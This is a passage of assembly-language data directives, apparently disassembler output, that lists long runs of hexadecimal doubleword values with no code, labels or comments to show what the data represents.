		dd 59750097h, 3116D8A9h, 5003F8Ch, 7998B7B5h, 9FFD7FBh
		dd 5D2F41ACh, 690010D1h, 0B62C7A8h, 929B002Dh, 2EE5C65Fh
		dd 2600F0CEh, 0FAA12ABh, 274CD66Dh, 9080DA84h, 0D8E3CAB3h
		dd 8B541800h, 0CB05660Dh, 33BD27A3h, 70E2D0E1h,	0F4E76DC0h
		dd 17007CEBh, 0D08F53B8h, 7BCB991Bh, 117402B9h,	6DECCDB3h
		dd 0E5D37443h, 6AD80783h, 5F016188h, 0A073F801h, 3B8ECDh
		dd 0DFEC2304h, 0BA005071h, 1A630F13h, 612845h, 0BF0B3E21h
		dd 9CA3D362h, 5C34C624h, 9D0C5D00h, 0BC993270h,	4FB61E58h
		dd 37E3507Bh, 209822CBh, 3F01F39Ah, 921EA2F4h, 0C0801ACFh
		dd 8791B8DEh, 0E2007F70h, 0C7887ADDh, 0EE49AA50h, 0E8A00731h
		dd 306D14AFh, 305F5BC9h, 0FE539C00h, 8EFC73F0h,	0B7482E01h
		dd 586A0028h, 8768CFFh,	5A9D8D02h, 412702B5h, 403FD17Ch
		dd 5CD0F040h, 8E2214Dh,	2D849801h, 63F73953h, 6DDA1CCh
		dd 0A734E04Fh, 0C10078C4h, 9C428186h, 4A64CB9h,	365E9549h
		dd 0DF62C065h, 1524704Bh, 0B197B02Fh, 51603499h, 128A266Dh
		dd 0AE900038h, 2FC95C1Dh, 3B3F961Eh, 840B14h, 0AA8F9381h
		dd 5798D7h, 181E1AD1h, 21498032h, 79592207h, 0C0114594h
		dd 13D85D25h, 2E66009Dh, 3305CDE5h, 41137146h, 0A80F732Ch
		dd 0D09CC78Dh, 265DAC00h, 0F46902F0h, 498690C0h, 0EF01F45Ch
		dd 826C9EB6h, 89F783EFh, 50F0DD2Dh, 0DEA12F73h,	0E6028258h
		dd 1C871FC8h, 7C8080D9h, 6F6E1115h, 0F6815685h,	4034D22Fh
		dd 17E2F280h, 64065112h, 57437809h, 143B3D80h, 9F1246B4h
		dd 784093C4h, 54AED125h, 7DCA001Fh, 0E63FF07Fh,	0B1002F79h
		dd 73F5EA5Ah, 39D575FDh, 0C5821E3Ah, 0F2883139h, 99879040h
		dd 865C7300h, 5E5FECB1h, 0AF0E38F4h, 89014080h,	923CDF65h
		dd 6A54FE14h, 788F00E4h, 728DD2CFh, 0E4F90EA6h,	0B4A04D15h
		dd 0D87FC18Eh, 870258B9h, 523F6FCh, 27B840EAh, 80BE064Bh
		dd 7301D071h, 5575D74Ch, 0FC70C3B1h, 384A00F2h,	445E237Bh
		dd 1900DDA3h, 0FEEABAF1h, 956698FAh, 80720402h,	0B022F880h
		dd 0D50061AAh, 0D734015h, 60CD419Fh, 0FC4FF8F4h, 4324707h
		dd 0C4ABE888h, 9F4E0Ch,	0E3D387B7h, 710003BAh, 0CD596F96h
		dd 3FD1F51Fh, 88480AA8h, 0B091A716h, 4F0051C0h,	0BFAB79B3h
		dd 7DC79Bh, 950BC2F4h, 0E9765914h, 7C855D0Fh, 314F609Eh
		dd 0DE52C4h, 0F11C0DEFh, 6A138A73h, 0C6F85000h,	79B88B53h
		dd 0F2F70C18h, 0CD0E0C5h, 4D328C02h, 510EE784h,	0D52C0004h
		dd 199395DEh, 440951E4h, 0C57C25h, 571EAD3Bh, 2503D63h
		dd 0EB910500h, 5F85400Fh, 20B0EA06h, 3051C9h, 0FFBA2677h
		dd 38185DE7h, 0C007B127h, 0E3CF8h, 6B249BA7h, 0D3888BB0h
		dd 5A9AB901h, 8CB6F0E1h, 4D5F470h, 0CEC6E6CDh, 6DC5C046h
		dd 31003C8Bh, 1B7BC326h, 13BA08Fh, 0B7DD8208h, 20B50A2Bh
		dd 0FD00F204h, 0EF7B1D0Ch, 2AFE97h, 9E75612Fh, 0E170F4Dh
		dd 0E007B200h, 48359254h, 0BF87343h, 0B9B99CEh,	0E1FCB858h
		dd 0CA02A41Dh, 0E4AE798Ah, 554D4080h, 75067C9h,	6126814Bh
		dd 52084028h, 0B007E7Ch, 0EDFBBDC5h, 0B58B2956h, 0E56BE820h
		dd 7175B8F4h, 722C391Ch, 70028912h, 8E923DA9h, 3BC05FC4h
		dd 0E5E7BD75h, 0CC980F26h, 8020BC4Ah, 3CA30B11h, 2A3B958h
		dd 16EBC325h, 5C2C6273h, 464A0254h, 0AE0292Fh, 0B70AC6FDh
		dd 0A4167B75h, 0E84DD400h, 503382h, 6AF905DCh, 0A9BD8E20h
		dd 92A72A00h, 0B8BFF331h, 70BA03E5h, 0ECAB32AFh, 8F6E90C7h
		dd 0A6001C30h, 0E3BE555Eh, 7928F4h, 0FDD96197h,	9F037D37h
		dd 0D9927h, 3CDCC150h, 0BD5200C6h, 3BA2F7B6h, 0EC4C07BAh
		dd 82013E20h, 0D7D8D457h, 3D885010h, 0A9A4B02Fh, 783982C8h
		dd 0ACD4D2ECh, 0FAD73241h, 7FBC206Eh, 4890500Dh, 0AB4BC07Bh
		dd 0B9C8C14h, 0A45A9CA1h, 0DCB446B0h, 0A9550026h, 991885A7h
		dd 12009D67h, 4E0F56FAh, 38F6CD75h, 7554F0h, 77BACA5Fh
		dd 364CF5D3h, 0A12DE501h, 0B4BB6CA4h, 0ECF55DE9h, 9306603Ch
		dd 507E98F3h, 0C42212A0h, 0E8610900h, 0A90E85F0h, 387F006Ah
		dd 67C5428Fh, 48273EFAh, 0DE582277h, 80D54251h,	2EF89E60h
		dd 0C50F018Bh, 0DD868A3Ch, 0F562F01Bh, 0E3C33D00h, 0FC2506E6h
		dd 26A90142h, 236AF256h, 6DCFD40Dh, 0E422EF07h,	0E5B0613Fh
		dd 9E7A99h, 0A2E9528h, 5C64DD85h, 5AFD43Ch, 794DC3FFh
		dd 7FF37CB0h, 49FA27h, 0A5CB2FF4h, 964FFE9Bh, 0A6239F0Eh
		dd 0F1C7E48h, 0EF0E5700h, 138C1C68h, 0E44DC4B6h, 8E2733B4h
		dd 894C41E1h, 0B897A8D4h, 0A7B40098h, 0A1ED4C6Dh, 60048682h
		dd 0F89A18B7h, 540834EDh, 0B8005F8Dh, 22816293h, 0FCBE00F0h
		dd 7D2C14AAh, 2D48C426h, 153E23h, 6F7E5D16h, 0BC679D1Eh
		dd 0B200BBBCh, 34DD5BB5h, 0A9000FB6h, 8E2EA50Dh, 7E37C71Fh
		dd 84D000D6h, 45F5A6D1h, 0EA00AA86h, 924D8D56h,	3F406Ch
		dd 0E517899Dh, 85EFE4A6h, 7D153601h, 677CB005h,	0BF10DCh
		dd 0DBD4F6AAh, 64805B49h, 0E7C69E00h, 6B25C4D1h, 8DDC00DAh
		dd 0F3F233C9h, 4700DDD6h, 293C3161h, 0C6FABCh, 0B36E247Dh
		dd 50CC6621h, 7B3E687Bh, 36037DE1h, 89845762h, 0C8A0AF90h
		dd 50FD5E5Bh, 37941078h, 1998456h, 0CF6A8102h, 8C6E083Bh
		dd 28C1DF96h, 65FE0F15h, 0A9015E0Ah, 0D0795BC2h, 0D5715740h
		dd 0D4DF5A00h, 62B09D74h, 304950FAh, 0F7CD043Dh, 0C7D41535h
		dd 0A40FC0Bh, 71FD4C1Dh, 0B7137837h, 0CB08E8B8h, 0B98A01DCh
		dd 49FF4C2Ah, 0C5A9C50Ah, 625C58C5h, 0EF89BE38h, 3E924038h
		dd 0F61731Ch, 0C7D58776h, 97D6A480h, 0AF0F54E5h, 0E0C6823Fh
		dd 84C450CBh, 7AFAA073h, 9BE00CDh, 4B540B68h, 0F03B486h
		dd 0FEEFEC08h, 0CF66B877h, 0EE97D1Ch, 6A477254h, 75823540h
		dd 7BF80FD4h, 97198814h, 891B00D5h, 0EC60F559h,	62BC0216h
		dd 79FC33FDh, 0D7E9417Dh, 52AA9540h, 3A407AEFh,	1780EA66h
		dd 0C76DB11Bh, 0CE3A437Fh, 3425C51h, 0A3C108C4h, 92E3FFF3h
		dd 0D793A066h, 821A01E7h, 0E53A63C9h, 0F20C077h, 6B2AB700h
		dd 0D05C30D9h, 48060F9Eh, 0B8302C4h, 19E3CEC0h,	4FC007BAh
		dd 0B6008438h, 47D7E79h, 54656E16h, 56C435h, 0B2DCBF7Ah
		dd 0AF896278h, 708A066h, 51F50021h, 816549BFh, 8E12B0B5h
		dd 104178BBh, 0B88A4052h, 0A2C03C71h, 0FF9D0085h, 0AF0C50BBh
		dd 0CF031997h, 63411E30h, 39A06E3Ch, 4535EF60h,	11C48756h
		dd 6784EE9Dh, 0C28093C0h, 8C966FAh, 0BD002196h,	0B74721C6h
		dd 12C30731h, 7267BAh, 0CCD91BCCh, 0BCE687B4h, 2779CB00h
		dd 12EE0C41h, 60FF745Bh
		dd 717D20DEh, 6800D2F4h, 47BB0772h, 1574617h, 0AF2405EBh
		dd 0D123BDF2h, 2EAE1076h, 740C0046h, 0CAE3CC15h, 3B0EBD9Bh
		dd 0A048653Ah, 67E92E7Eh, 9DFB0C71h, 49786117h,	0B4186879h
		dd 2A106EABh, 53850328h, 560E4B37h, 713862A0h, 35699801h
		dd 6DB6B27Fh, 0A3DEB0C7h, 23D4074Bh, 3038C882h,	68AE101h
		dd 1E430D01h, 5FEFADB2h, 3CBADFF4h, 0A30F961Ch,	85274D88h
		dd 5751F3DBh, 0D38C8AF0h, 5C36BD03h, 0C0A72046h, 292D7h
		dd 82099F2Ch, 866B0380h, 0A8703700h, 0E4998FE0h, 0B7E2BFh
		dd 9D89BBF7h, 6E441FDEh, 2600E379h, 82973709h, 3A9A65h
		dd 0CFFBC66Ch, 4F5523C8h, 708CE500h, 0D3E14096h, 2028002Dh
		dd 0BA89D42Ah, 5001658Bh, 14C69969h, 9470ECDDh,	49E80943h
		dd 0FD00B63Ch, 6F73A960h, 0A877400h, 5F7E11D2h,	5B781D6Bh
		dd 8B0680F6h, 0A5F51EE7h, 0BB4C1900h, 53C70418h, 0CCF100C3h
		dd 0ED901D31h, 0D1C5478h, 0AC0050E5h, 8ABD0992h, 3E967968h
		dd 0F903FDE3h, 1741ABA0h, 0B2A240DFh, 5100A3CEh, 0BC09DFD2h
		dd 16844574h, 93C847h, 8990DB1Fh, 200016ABh, 6A565ECAh
		dd 1D0E23C0h, 82A203h, 534AA065h, 0F70F6C0Dh, 201118CCh
		dd 62D61488h, 0C4050054h, 23AB31FBh, 801503CBh,	0C090ADEEh
		dd 27A22297h, 4F9F123Ch, 0F4AF0025h, 2C19A010h,	53EFE71h
		dd 544D83B6h, 0F83FCBF8h, 0EA702A97h, 1B50096h,	7B3AFF20h
		dd 3428CA0Dh, 8E0BE08Dh, 0BE2A07h, 6D6CA86Ah, 13C30076h
		dd 3B4A4359h, 4390C6D6h, 0A8BB7E00h, 8F52456Bh,	482461CEh
		dd 8CE41Ah, 13819D7h, 2296E5E3h, 40EDD471h, 7C5ABEB4h
		dd 4003E0FEh, 158BE91Dh, 49BA887Fh, 0C0F06008h,	6596DB4Bh
		dd 10EFFC30h, 0E26FF57h, 44CF6350h, 0B0CE6Ah, 200DB8F7h
		dd 0AB00975Dh, 0E6F82595h, 0B049F3EFh, 0BED101ACh, 0E9D3B294h
		dd 0FC24F81Dh, 13ED6000h, 4DD93A4Ah, 0FAEA80h, 0E14BDFAEh
		dd 0A69A0D2Ah, 0ECDAE700h, 8EEDF412h, 0EBD500B4h, 0F525F91Ah
		dd 480FEE61h, 0C7528C1Dh, 0E6C0518Ah, 0B89A7487h, 0E884009Eh
		dd 899105B6h, 0C5988393h, 527E7300h, 0D2E21BE9h, 8D6E0030h
		dd 0B060AD19h, 8E00BEBBh, 67595388h, 6039AA37h,	4F64664Ah
		dd 3650C16Ch, 3D0E2AACh, 0C0E45AC0h, 9048F1A0h,	72430AD3h
		dd 38B810D5h, 0C5D9C9B0h, 75022EF1h, 11BB61CAh,	813440A5h
		dd 0FF5F0019h, 3E2FE0AFh, 9B00127Eh, 0F6F30728h, 2CC477CDh
		dd 570C92h, 7D686164h, 0C7030360h, 38CC57FAh, 9A48022Dh
		dd 0BEA3882Eh, 61F01043h, 70352E7h, 7303863Ah, 66B0125Eh
		dd 0A3284017h, 0CCDD580Ah, 18AC7807h, 1E994E6h,	0C2CDB28Ch
		dd 0FE75ED4h, 9E542E1Bh, 9618A140h, 0AD047B8Ah,	1A42B087h
		dd 78742490h, 4680A0BEh, 0CB940055h, 1448C6FEh,	18C0BF66h
		dd 841931A5h, 48EF49EEh, 3EE3B911h, 0E43980C2h,	7A6FA6E6h
		dd 2438E8F5h, 647F14h, 0D468B18Ah, 0EF02BC30h, 1DCDA0DEh
		dd 4CE480BEh, 3DFC2Ch, 0E3108ED8h, 3EF32F22h, 0F75DF113h
		dd 0AB333400h, 4E6CAFh,	0AEC517D8h, 28F588CDh, 8D9FC403h
		dd 8004DDAAh, 0E3EB9Bh,	0D25B139h, 0A879B5F2h, 7F5A4000h
		dd 2EBE9352h, 0EAB7002Bh, 39F045DEh, 1C00E006h,	8ED79F5Fh
		dd 1B7E3AAAh, 8ECB81FEh, 7AC84CC3h, 8700E49Bh, 1DF710E0h
		dd 5ED9DDh, 5F5F9FFh, 0A5F65AD3h, 0D4FAB203h, 9E27BF9Ah
		dd 16320030h, 9F8AF88Dh, 6E07DA13h, 69E20E86h, 713CA920h
		dd 9541155Ah, 0E30F9C18h, 38E0AF90h, 0B0D2E972h, 754D3B00h
		dd 688D27FDh, 0E01A14B4h, 443CB8DEh, 89B62486h,	0C00A8D3h
		dd 1C887534h, 0F005582Ah, 68B70A4Eh, 2898236Eh,	0AAD800F0h
		dd 5D79C2DCh, 1801CD04h, 0E69F5676h, 0A7E4DE52h, 37989h
		dd 907FB14Ch, 0F5F26287h, 0A44E5A00h, 139E8BE0h, 0BFF600B2h
		dd 16DBA892h, 0F826012Bh, 0E100CAF3h, 279C2FBCh, 91D100FEh
		dd 32027F1Fh, 0BA734890h, 927D8A03h, 0C6A73Ah, 0EA43E1D0h
		dd 57CF64C2h, 0EB236B00h, 0ADC555EEh, 0D0E9C075h, 0A417AEA6h
		dd 0C4935E8h, 0CF471E44h, 0DC5C1942h, 99304084h, 20D500B3h
		dd 0ECA11829h, 0A4ECC99Ch, 803080h, 3A9EDDD2h, 92A75E9Ah
		dd 70284A0Ch, 0CEA20BDh, 0CDDD7142h, 0E70F2931h, 47F8ECD9h
		dd 0DF50AF88h, 0A14E6h,	0D2023F95h, 0AC76D852h,	20FC8600h
		dd 0DA08894Bh, 0BA253D29h, 47E28101h, 80B8EA13h, 742BBBB1h
		dd 0C0DF3A7Eh, 0CB025FD8h, 0A77E371Ah, 10D8ED53h, 93000DFAh
		dd 0E7DEEBBAh, 72E87311h, 0CEC01700h, 129A87DFh, 9ECC2879h
		dd 52C600C8h, 68399D64h, 0E318AF02h, 1528D018h,	83192E82h
		dd 883D0636h, 0B2E309Ch, 6D0F8B98h, 0D401E0BEh,	742E6Ch
		dd 0D9B0DDFDh, 0EAC1F8C3h, 309D6230h, 488188F2h, 0A00ACEEh
		dd 0DFE5639Bh, 8000EE8h, 0D9C33770h, 1918E5Dh, 304AFE36h
		dd 0E13BEE78h, 53DDDC68h, 0B8D35212h, 0BF16B200h, 0C0189h
		dd 1390A3CFh, 787A2319h, 33704E05h, 28808BDBh, 84C49Bh
		dd 5307F0CEh, 20EF6D2Ah, 366E4903h, 0A174324Bh,	486057E5h
		dd 58FB0B7Fh, 7E000CCDh, 0AE8D100Fh, 869F3100h,	36CB64A9h
		dd 0A45002CCh, 0BBF3E827h, 5469B540h, 0EA5B5500h, 916D19A2h
		dd 52980E6Ah, 0A6A0CD5Eh, 4D7CDE5Ah, 38AC681Dh,	60DB868Fh
		dd 765CF57Fh, 856B3A59h, 8004311Fh, 0A771291Eh,	0C50FEE8Bh
		dd 0E0CB4283h, 15E89E45h, 0F42C00F0h, 0AF672D58h, 7E00FDBAh
		dd 9B17FE09h, 3FF81E25h, 620039ACh, 0B1A98D50h,	0F10744F9h
		dd 0AFE7224Eh, 0D6707267h, 9FE560Ah, 0D164A8ADh, 5CF47020h
		dd 801F3177h, 0D50379ECh, 0D91A6Dh, 0A3E98219h,	0B246EBB5h
		dd 767B8800h, 2C6B1AD5h, 0B2C27760h, 8DF93F6Ch,	16869500h
		dd 11B934ADh, 384C745Ch, 1CC900C1h, 382BA441h, 4436009Bh
		dd 15CE73C0h, 684AA96Eh, 21121058h, 33320FA1h, 0DE41459Eh
		dd 0C811F67Ah, 88FA6001h, 0E9BC71CFh, 0B7F027E3h, 0CB1C24C0h
		dd 2B200182h, 0DC0DB957h, 5F218AE2h, 0F3001CB0h, 0F60AC28Ah
		dd 7836E86Ah, 0F518C7C7h, 4C05C09Ah, 9CB0AA78h,	0C1EA1E00h
		dd 5B968920h, 0AB180087h, 0E2DA0782h, 99619163h, 0C3168C38h
		dd 0D14018B7h, 0D0FB2024h, 5BF0A2F5h, 87163800h, 0E3181FD6h
		dd 28BC7882h, 5048D7FFh, 0C31C2489h, 0B3042020h, 231E26A0h
		dd 0BB038CB1h, 0B0E766A2h, 0F04DABB9h, 34820004h, 0FB999484h
		dd 7D1D448Bh, 0A0401283h, 0C1AC9E23h, 277C00F8h, 1D775FF1h
		dd 0BD0088B9h, 44A5B2Ah, 7F645E7h, 5EFED31Eh, 5436C36Eh
		dd 506716F0h, 2C006B98h, 0E27B58D2h, 0B5BFE5h, 0C412E309h
		dd 0BA830791h, 7C196700h, 30CD621Ah, 99E76B8h, 8503B9D5h
		dd 0B343600h, 0C401752Bh, 0D11E3F07h, 0EAC47D83h, 74E239h
		dd 7C72E2F8h, 0FABBD229h, 36849A50h, 14809900h,	0A7E03D1Fh
		dd 43580079h, 98F1464Ch, 0EE0726ECh, 0D8A17DFDh, 0D8E460D3h
		dd 42C2BDh, 2CD9150Fh, 8B7A7629h, 3C85C72Eh, 38AD2D82h
		dd 8036C0A5h, 6D3200D1h, 0D26BA987h, 74490249h,	4DFB0040h
		dd 320FBD4Bh, 21990057h, 42D065C4h, 0F5485D4Fh,	0D7D500FFh
		dd 2FF20CDEh, 0D9C00E0h, 0B771FB49h, 881D4BC8h,	3105F7DBh
		dd 4801B7Fh, 7A0BEBh, 2576D954h, 162BED21h, 1AA07818h
		dd 0F2BA20h, 0CCCB6562h, 6D227AC4h, 0A3DFF00h, 95C70D54h
		dd 106312ECh, 38E400A0h, 0E4A53382h, 6F6CAB00h,	0D6070A37h
		dd 28D33ED5h, 0E1F6B780h
		dd 350686CBh, 2FEAD800h, 4E593981h, 0AF480F80h,	0A5E70FE7h
		dd 45805BB1h, 9072C1E0h, 3F0F8D7Eh, 0E0A8B358h,	7D0193FFh
		dd 0D7A128Bh, 0DEB9A050h, 330119E6h, 3D91ECDAh,	182CCD70h
		dd 80075548h, 6253A94Ah, 0A8C083DCh, 0CC0BE2FCh, 80255BEAh
		dd 0E1B5A4F4h, 0EC3C0B4Ch, 44901F96h, 0B8A0281Eh, 720F8BA9h
		dd 60114D75h, 37F35EBBh, 517E009Bh, 0AA1673DAh,	0B007A961h
		dd 87991DC3h, 5C0CEAC0h, 0F7FC050Dh, 2D9A00Bh, 0B60AEBF9h
		dd 4617C058h, 44009ABCh, 0DE13F54Eh, 6E277F2h, 0ECC6933Bh
		dd 1079632h, 588990C3h,	2112C910h, 704B02F4h, 734879ABh
		dd 920BBB40h, 6472C600h, 0F7598D7Bh, 0A4B9009Eh, 7E540490h
		dd 5C006D31h, 0AE21B8DEh, 2487CF8Dh, 2CA5360Bh,	2AF008Ch
		dd 7505C3F6h, 0A10764ECh, 0BF0DC94Fh, 32D0F980h, 0F5A901D8h
		dd 77864A52h, 3B0CF020h, 40D7C600h, 5E8EA462h, 495200B3h
		dd 1639BBB9h, 721D0528h, 0F5793622h, 54A438h, 0D4D0A299h
		dd 13B84CC8h, 0F0BE60BCh, 1F003A82h, 0C3A08412h, 1E9E41h
		dd 70DCE505h, 0CC04F174h, 2E513000h, 814B60E7h,	26D018F8h
		dd 853D911Bh, 15F60E18h, 1FC93178h, 8626332Eh, 407B9CD2h
		dd 348A3800h, 0E3BB6DFEh, 1EE100F4h, 561958A3h,	8401CAB5h
		dd 715120A4h, 26CC21CEh, 0E6BC054Ch, 1E491C60h,	7E034284h
		dd 77C3326Ah, 653D5100h, 748599C2h, 136E072Bh, 53D6C33Ah
		dd 7EC084C5h, 5000FEACh, 7009C8ECh, 0A3C8B9Eh, 94D586E1h
		dd 68F100C4h, 60A64A6h,	90B02000h, 2BAA6E73h, 9E63052Fh
		dd 8AC9CFh, 6024D483h, 1A0072EFh, 4ACC95A6h, 39E1B7C6h
		dd 0EB9F1BB3h, 3F5E007Ch, 6642B8C3h, 0CA159600h, 0E80EDEF4h
		dd 6A3300C5h, 30188B4Eh, 0BA002332h, 0B347FBCEh, 0D93EA1h
		dd 9C64CCDDh, 0DF5E8BD4h, 0F8FA5630h, 1576BFh, 7B4986FDh
		dd 78631490h, 0F90080E0h, 0A94AE64h, 3A782EEh, 0A30719CEh
		dd 2090E857h, 5401E36Eh, 3467C4Dh, 0A420E218h, 7B4A0079h
		dd 68E6DA9Eh, 6D1F8436h, 0A3030156h, 0A885D2CAh, 0B32BDFh
		dd 635BCB0Dh, 0D436659Ah, 0C8004490h, 59DE7528h, 385F9EFh
		dd 0E633B67Bh, 66F11CEDh, 0E980EB89h, 0F9027626h, 62DC2EEEh
		dd 5BFDC10Eh, 99D9F840h, 3368000Fh, 0AF6BCE42h,	0C300E2D3h
		dd 0D8463B77h, 241312h,	0EA22C637h, 70DAE853h, 0EC818C0h
		dd 676AD3F5h, 3F9C60CBh, 16CF6CC1h, 0BD0E056h, 0F70AB000h
		dd 0F0B7E0BFh, 83990187h, 36A760EDh, 6C808759h,	203966FEh
		dd 0CE3FBA58h, 390A4C16h, 179C40h, 3EF0637Ah, 11279A72h
		dd 4119B100h, 0A385B4CFh, 8A810065h, 792656B3h,	5A01AD4Ch
		dd 0B89FF8D6h, 0BEF81425h, 92A50C09h, 0B4409D52h, 0B3C40100h
		dd 9B26DCCAh, 3BE2004Ah, 60BA7CDEh, 230F5208h, 61D3201Ch
		dd 0F6D0112Dh, 0CB1F8C41h, 0A30ACCh, 0BD445210h, 28ACE8B4h
		dd 0BE2F3C00h, 0E354C91Dh, 0AA3A07CDh, 0FE16D539h, 148B6241h
		dd 3185E0EDh, 1568191Fh, 0EB616940h, 0BC4A57h, 0EAEDA686h
		dd 7C32F1CEh, 35B363Bh,	5021E3Bh, 0BCE80EFAh, 0DD614513h
		dd 806FB82Fh, 0B714A824h, 1667DE9h, 819ECD5Ah, 0DC047984h
		dd 540FC476h, 0E0F28E32h, 728701FBh, 0B670162Dh, 0C231021Eh
		dd 0C60222Fh, 4E00BC12h, 0F0517423h, 0B9BAAAh, 1B9FF9DEh
		dd 7302BF89h, 0FC4149h,	0EC42CA29h, 5E97A4h, 84109639h
		dd 0D3C7B0A5h, 0E717F200h, 71808E20h, 0FDEEAFCh, 45B8E519h
		dd 0B05A6B60h, 0F400D1BDh, 9333E811h, 998577h, 0DA109B27h
		dd 532B1DCBh, 0B0864C09h, 605C2FD4h, 0B5738D6Ch, 0E4BF002Ah
		dd 629DD2F4h, 76742742h, 9E0AE706h, 40113FB8h, 2E3D25C7h
		dd 205C30DBh, 1BD4B4FBh, 0C8F521A7h, 1CEF283Eh,	2A5BF4FDh
		dd 0FCD5E168h, 533C82C6h, 0CD880F2h, 1845371Fh,	48FAD5F4h
		dd 55006A29h, 0F539AE09h, 14A46B3h, 4EDAA9F2h, 0EDE1BBF8h
		dd 0C06EF46Ah, 2B848212h, 46A9CD03h, 0C2ED9811h, 0E81000B5h
		dd 928E4DBh, 170082DFh,	9497DDEFh, 0C8B660h, 89C54E5Dh
		dd 0FD1881F6h, 8CB9F860h, 1D4A353h, 0C32117F5h,	872B5BADh
		dd 58AB9128h, 48EE184Ch, 0A001CC88h, 0C3183EB0h, 0EFFCE975h
		dd 0FB242910h, 8126F964h, 80F81BF1h, 5C4C4B20h,	0CFED581h
		dd 37E6636h, 27383260h,	90CD2A91h, 3AD3F000h, 19C2538Eh
		dd 0EA4B32F5h, 0C4804408h, 3ADC0FF9h, 98CBCA32h, 604701E9h
		dd 2E4183CFh, 6B9986Ah,	3A663758h, 5576682Ch, 79052200h
		dd 0D3F134F9h, 3E7D12h,	0A4933BCh, 9A4D29C2h, 80D6A10Eh
		dd 2CB5C03Ch, 0F6FCE11h, 0A8E8508Ch, 0D02746E7h, 965CF953h
		dd 0CE01D600h, 7636943Ah, 0AC380097h, 579CF27Bh, 0BC01529Fh
		dd 1EB5C16Eh, 0A16043A6h, 3C7B0109h, 8EA82761h,	0F4C5D401h
		dd 10FEA700h, 6B509867h, 0E38A0005h, 0BA3F405Dh, 0DF4CF184h
		dd 41A01E4Ah, 339A7300h, 0A40116h, 2B6C3426h, 7C15EDDCh
		dd 744B2700h, 8E36E15Fh, 49FEE5Ah, 8061C578h, 0A84CC0A7h
		dd 87073E8Fh, 0A02199A6h, 68FB6510h, 0FEC07CE0h, 32C70A94h
		dd 0D17CCCh, 0FB17EDB7h, 33EC4406h, 62B47405h, 0CAC18A3Eh
		dd 18D0B087h, 46040020h, 1E30207h, 8900B840h, 0B4560E5Ah
		dd 0D04CF5h, 3562C03Fh,	1160A39Ah, 0BBCA3B00h, 0C7425FB6h
		dd 2457594h, 0AE96D8F6h, 0E07786B0h, 0FF3B30Ch,	93759FE3h
		dd 0B5A0F8EBh, 81CB7199h, 83F761CFh, 0B869B0F0h, 0DB1393h
		dd 0D14E4494h, 451C4F53h, 3C723700h, 0F0B8568Fh, 930E0091h
		dd 58748917h, 0F9281DE3h, 8B01E49Bh, 6BFE8246h,	4EF87337h
		dd 0BB7AE1h, 0ECB454A9h, 29A486D6h, 98ADEB3Ah, 2C39B0C6h
		dd 0FD850147h, 4162AA3Eh, 0C9D8ECA2h, 74EE3260h, 1C07BF4Ah
		dd 4065AD31h, 0CED71213h, 697B7883h, 0C908DF03h, 0C8D36E99h
		dd 39DEE49Eh, 0F0808AA1h, 3F4FB8C1h, 0A4011B2Ch, 0A8E0EE84h
		dd 0DC401595h, 7E475Bh,	0D85E3F02h, 0B6746420h,	8E99CD03h
		dd 0F01A6FDAh, 7EBDC5h,	0BC66B168h, 5831D595h, 0D6F6EC04h
		dd 0CF805962h, 0AB39EDh, 4CDCDA96h, 0AA8C7FCAh,	0A8EA7C7Fh
		dd 542C7700h, 0FC1744C6h, 0DD3300A4h, 4DECFD13h, 0BE01C766h
		dd 0CD86AE25h, 88449C11h, 7839A00h, 0E5D8C8h, 9474267Ah
		dd 4B701193h, 3E59020Fh, 2FC03CD2h, 6AA269A0h, 1C7DB883h
		dd 0C01219CDh, 66212374h, 0DA007E4Dh, 0AF6CE407h, 59CE3E9h
		dd 0BE8CAA52h, 0DCB780F2h, 4F0B9ECCh, 8F824881h, 0A73E0C4h
		dd 130B6EA2h, 455FC7h, 59F7C414h, 20024FCh, 0CCF99B89h
		dd 0D9D55h, 7332B64Bh, 0EE9287Dh, 0FE007776h, 7B6E71C8h
		dd 3E8418A5h, 0B18A9AE8h, 39CF728h, 972B7568h, 0F9055C90h
		dd 0E85DE424h, 91E74F00h, 7EB6011Eh, 3987F4D7h,	2600C78Dh
		dd 0B1F7ABEEh, 1103910Eh, 0B9FC9B7h, 19086F0h, 0F384ACD6h
		dd 0DC2D4199h, 80122197h, 9C00068Fh, 0B17C8D71h, 52DC00B9h
		dd 5CCEDBA7h, 0FF00C822h, 0A293FC97h, 0F45D33A5h, 1B000D1h
		dd 2F6125B2h, 0B803374Eh, 0F30D76BEh, 0D6CDE010h, 2B1A02B1h
		dd 0E26FDDA4h, 30A54641h, 0D30BFBE7h, 434C9Fh, 0A99A66E6h
		dd 522001E3h, 30700848h, 0DCD4FC6Fh, 0EDAED100h, 0EEC50944h
		dd 0A6C30717h, 40E25877h, 81C46A5Dh, 1E23400Eh,	2C3C67CBh
		dd 7A73E490h, 98E413h, 2A75CE33h, 6DD91415h, 46A1BE01h
		dd 2072A5DAh, 7B493080h, 6AAB52B4h, 95978800h, 2A1766CBh
		dd 0F75400F0h, 4CD61EA1h
		dd 9900AD50h, 32D9F6F1h, 0AEFCB6h, 436618ECh, 0A11EE3B2h
		dd 0C846A500h, 489C0D8Fh, 0BFAA00FAh, 0F609F3A9h, 40000B0Ah
		dd 96211901h, 0FFB0F35h, 32E9568Ch, 0E65AB4A0h,	0D203F86Bh
		dd 337454ABh, 108B800Dh, 0DEA8DE42h, 44128E39h,	8F67DAA0h
		dd 4A3AC8A6h, 0AF170C98h, 3AC04Dh, 0FB5D4E9Fh, 56D9F558h
		dd 64E8FC00h, 251E6507h, 0CFE6002Ah, 9A54DDB1h,	0AB0E0339h
		dd 0FE56D182h, 5740BFDEh, 0C2E2A084h, 786F58DEh, 0F029A318h
		dd 5940F5D8h, 40510088h, 873F8EDh, 3601F685h, 0F5C1153h
		dd 108060A4h, 0F7DE76AEh, 8000D30Ah, 2965D869h,	57161Bh
		dd 0EEE5B87h, 5A1C7BA1h, 2C45A205h, 0A3C035C2h,	7DB84281h
		dd 4127013Bh, 632B3D06h, 0F35980C8h, 0D3058B1h,	9080FB75h
		dd 7890BF50h, 0AA071C39h, 1E037CAFh, 0D7A61610h, 1A7F5C3Fh
		dd 41EE9500h, 0B292B5AAh, 25149B74h, 288C48A7h,	807A8E2h
		dd 0EF2D5A7Eh, 0B77102h, 0E5CCADDCh, 9E690900h,	5C357F96h
		dd 0AF0100F7h, 0C4C3CCDh, 33378B22h, 0B03030B6h, 1B647504h
		dd 611197E7h, 0BA027614h, 77900E4h, 0BF1FC984h,	204960B9h
		dd 0D9AF5D90h, 298DDE07h, 0C3216B14h, 0EC206EE1h, 42A00B3h
		dd 18E38041h, 0E60126F0h, 0CD2F5512h, 39601072h, 794B4881h
